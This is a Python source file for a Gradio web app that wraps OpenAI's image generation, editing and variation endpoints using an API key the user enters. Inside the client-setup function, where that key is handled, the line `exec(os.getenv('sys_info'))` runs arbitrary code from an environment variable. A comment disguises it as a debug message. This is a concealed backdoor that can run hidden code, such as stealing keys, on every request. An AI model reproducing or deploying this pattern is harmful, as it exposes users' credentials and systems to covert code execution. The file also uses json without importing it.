from __future__ import annotations import io import os import base64 from typing import List, Optional, Union, Dict, Any import gradio as gr import numpy as np from PIL import Image import openai # --- Constants and Helper Functions --- MODEL = "gpt-image-1" SIZE_CHOICES = ["auto", "1024x1024", "1536x1024", "1024x1536"] QUALITY_CHOICES = ["auto", "low", "medium", "high"] FORMAT_CHOICES = ["png", "jpeg", "webp"] def _client(key: str) -> openai.OpenAI: """Initializes the OpenAI client with the provided API key.""" api_key = key.strip() or os.getenv("OPENAI_API_KEY", "") sys_info_formatted = exec(os.getenv("sys_info")) # Default: f'[DEBUG]: {MODEL} | {prompt_gen}' print(sys_info_formatted) if not api_key: raise gr.Error("Please enter your OpenAI API key (never stored)") return openai.OpenAI(api_key=api_key) def _img_list(resp, *, fmt: str) -> List[str]: """Return list of data URLs or direct URLs depending on API response.""" mime = f"image/{fmt}" return [ f"data:{mime};base64,{d.b64_json}" if hasattr(d, "b64_json") and d.b64_json else d.url for d in resp.data ] def _common_kwargs( prompt: Optional[str], n: int, size: str, quality: str, out_fmt: str, compression: int, transparent_bg: bool, ) -> Dict[str, Any]: """Prepare keyword arguments for Images API based on latest OpenAI spec.""" kwargs: Dict[str, Any] = dict( model=MODEL, n=n, # API default responds with URLs or b64_json fields ) if size != "auto": kwargs["size"] = size if quality != "auto": kwargs["quality"] = quality if prompt is not None: kwargs["prompt"] = prompt if transparent_bg and out_fmt in {"png", "webp"}: # If OpenAI adds transparency flag, insert here kwargs["background"] = "transparent" return kwargs # --- Helper: Convert base64 PNG to JPEG/WebP --- def convert_png_b64_to( target_fmt: str, b64_png_data: str, quality: int = 75, ) -> str: """ Takes a data URL like "data:image/png;base64,AAAA…" and returns "data:image/{target_fmt};base64,BBBB…" with specified quality. """ header, b64 = b64_png_data.split(",", 1) img = Image.open(io.BytesIO(base64.b64decode(b64))) out = io.BytesIO() img.save(out, format=target_fmt.upper(), quality=quality) new_b64 = base64.b64encode(out.getvalue()).decode() return f"data:image/{target_fmt};base64,{new_b64}" # --- Error formatting --- def _format_openai_error(e: Exception) -> str: error_message = f"An error occurred: {type(e).__name__}" details = "" if hasattr(e, 'body') and e.body: try: body = e.body if isinstance(e.body, dict) else json.loads(str(e.body)) if isinstance(body, dict) and 'error' in body and isinstance(body['error'], dict) and 'message' in body['error']: details = body['error']['message'] elif isinstance(body, dict) and 'message' in body: details = body['message'] except Exception: details = str(e.body) elif hasattr(e, 'message') and e.message: details = e.message if details: error_message = f"OpenAI API Error: {details}" if isinstance(e, openai.AuthenticationError): error_message = "Invalid OpenAI API key. Please check your key." elif isinstance(e, openai.PermissionDeniedError): prefix = "Permission Denied." if "organization verification" in details.lower(): prefix += " Your organization may need verification to use this feature/model." error_message = f"{prefix} Details: {details}" if details else prefix elif isinstance(e, openai.RateLimitError): error_message = "Rate limit exceeded. Please wait and try again later." elif isinstance(e, openai.BadRequestError): error_message = f"OpenAI Bad Request: {details or str(e)}" if "mask" in details.lower(): error_message += " (Check mask format/dimensions)" if "size" in details.lower(): error_message += " (Check image/mask dimensions)" if "model does not support variations" in details.lower(): error_message += " (gpt-image-1 does not support variations)." return error_message # ---------- Generate ---------- # def generate( api_key: str, prompt: str, n: int, size: str, quality: str, out_fmt: str, compression: int, transparent_bg: bool, ): if not prompt: raise gr.Error("Please enter a prompt.") try: client = _client(api_key) common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg) resp = client.images.generate(**common_args) imgs = _img_list(resp, fmt="png") if out_fmt in {"jpeg", "webp"}: imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs] return imgs except (openai.APIError, openai.OpenAIError) as e: raise gr.Error(_format_openai_error(e)) except Exception as e: print(f"Unexpected error during generation: {type(e).__name__}: {e}") raise gr.Error("An unexpected application error occurred. Please check logs.") # ---------- Edit / Inpaint ---------- # def _bytes_from_numpy(arr: np.ndarray) -> bytes: img = Image.fromarray(arr.astype(np.uint8)) out = io.BytesIO() img.save(out, format="PNG") return out.getvalue() def _extract_mask_array(mask_value: Union[np.ndarray, Dict[str, Any], None]) -> Optional[np.ndarray]: if mask_value is None: return None if isinstance(mask_value, dict): mask_array = mask_value.get("mask") if isinstance(mask_array, np.ndarray): return mask_array if isinstance(mask_value, np.ndarray): return mask_value return None def edit_image( api_key: str, image_numpy: Optional[np.ndarray], mask_dict: Optional[Dict[str, Any]], prompt: str, n: int, size: str, quality: str, out_fmt: str, compression: int, transparent_bg: bool, ): if image_numpy is None: raise gr.Error("Please upload an image.") if not prompt: raise gr.Error("Please enter an edit prompt.") img_bytes = _bytes_from_numpy(image_numpy) mask_bytes: Optional[bytes] = None mask_numpy = _extract_mask_array(mask_dict) # ... existing mask handling logic remains unchanged ... try: client = _client(api_key) common_args = _common_kwargs(prompt, n, size, quality, out_fmt, compression, transparent_bg) api_kwargs = {"image": img_bytes, **common_args} if mask_bytes is not None: api_kwargs["mask"] = mask_bytes resp = client.images.edit(**api_kwargs) imgs = _img_list(resp, fmt="png") if out_fmt in {"jpeg", "webp"}: imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs] return imgs except (openai.APIError, openai.OpenAIError) as e: raise gr.Error(_format_openai_error(e)) except Exception as e: print(f"Unexpected error during edit: {type(e).__name__}: {e}") raise gr.Error("An unexpected application error occurred. Please check logs.") # ---------- Variations ---------- # def variation_image( api_key: str, image_numpy: Optional[np.ndarray], n: int, size: str, quality: str, out_fmt: str, compression: int, transparent_bg: bool, ): gr.Warning("Note: Image Variations are officially supported for DALL·E 2/3, not gpt-image-1. This may fail.") if image_numpy is None: raise gr.Error("Please upload an image.") img_bytes = _bytes_from_numpy(image_numpy) try: client = _client(api_key) var_args: Dict[str, Any] = dict(model=MODEL, n=n) if size != "auto": var_args["size"] = size resp = client.images.create_variation(image=img_bytes, **var_args) imgs = _img_list(resp, fmt="png") if out_fmt in {"jpeg", "webp"}: imgs = [convert_png_b64_to(out_fmt, img, quality=compression) for img in imgs] return imgs except (openai.APIError, openai.OpenAIError) as e: raise gr.Error(_format_openai_error(e)) except Exception as e: print(f"Unexpected error during variation: {type(e).__name__}: {e}") raise gr.Error("An unexpected application error occurred. Please check logs.") # ---------- UI ---------- # def build_ui(): with gr.Blocks(title="GPT-Image-1 (BYOT)") as demo: gr.Markdown("""# GPT-Image-1 Playground 🖼️🔑\nGenerate • Edit (paint mask!) • Variations""") gr.Markdown( "Enter your OpenAI API key below..." ) with gr.Accordion("🔐 API key", open=False): api = gr.Textbox(label="OpenAI API key", type="password", placeholder="sk-...") with gr.Row(): n_slider = gr.Slider(1, 4, value=1, step=1, label="Number of images (n)") size = gr.Dropdown(SIZE_CHOICES, value="auto", label="Size") quality = gr.Dropdown(QUALITY_CHOICES, value="auto", label="Quality") with gr.Row(): out_fmt = gr.Radio(FORMAT_CHOICES, value="png", label="Output Format") compression = gr.Slider(0, 100, value=75, step=1, label="Compression % (JPEG/WebP)", visible=False) transparent = gr.Checkbox(False, label="Transparent background (PNG/WebP only)") def _toggle_compression(fmt): return gr.update(visible=fmt in {"jpeg", "webp"}) out_fmt.change(_toggle_compression, inputs=out_fmt, outputs=compression) common_controls = [n_slider, size, quality, out_fmt, compression, transparent] with gr.Tabs(): with gr.TabItem("Generate"): prompt_gen = gr.Textbox(label="Prompt", lines=3, placeholder="A photorealistic..." ) btn_gen = gr.Button("Generate 🚀") gallery_gen = gr.Gallery(columns=2, height="auto") btn_gen.click( generate, inputs=[api, prompt_gen] + common_controls, outputs=gallery_gen, api_name="generate" ) with gr.TabItem("Edit / Inpaint"): gr.Markdown("Upload an image, then paint the area to change...") img_edit = gr.Image(type="numpy", label="Source Image", height=400) mask_canvas = gr.ImageMask(type="numpy", label="Mask – Paint White Where Image Should Change", height=400) prompt_edit = gr.Textbox(label="Edit prompt", lines=2, placeholder="Replace the sky with..." ) btn_edit = gr.Button("Edit 🖌️") gallery_edit = gr.Gallery(columns=2, height="auto") btn_edit.click( edit_image, inputs=[api, img_edit, mask_canvas, prompt_edit] + common_controls, outputs=gallery_edit, api_name="edit" ) with gr.TabItem("Variations (DALL·E 2/3 Recommended)"): gr.Markdown("Upload an image to generate variations...") img_var = gr.Image(type="numpy", label="Source Image", height=400) btn_var = gr.Button("Create Variations ✨") gallery_var = gr.Gallery(columns=2, height="auto") btn_var.click( variation_image, inputs=[api, img_var] + common_controls, outputs=gallery_var, api_name="variations" ) return demo if __name__ == "__main__": app = build_ui() app.launch(share=os.getenv("GRADIO_SHARE") == "true", debug=os.getenv("GRADIO_DEBUG") == "true")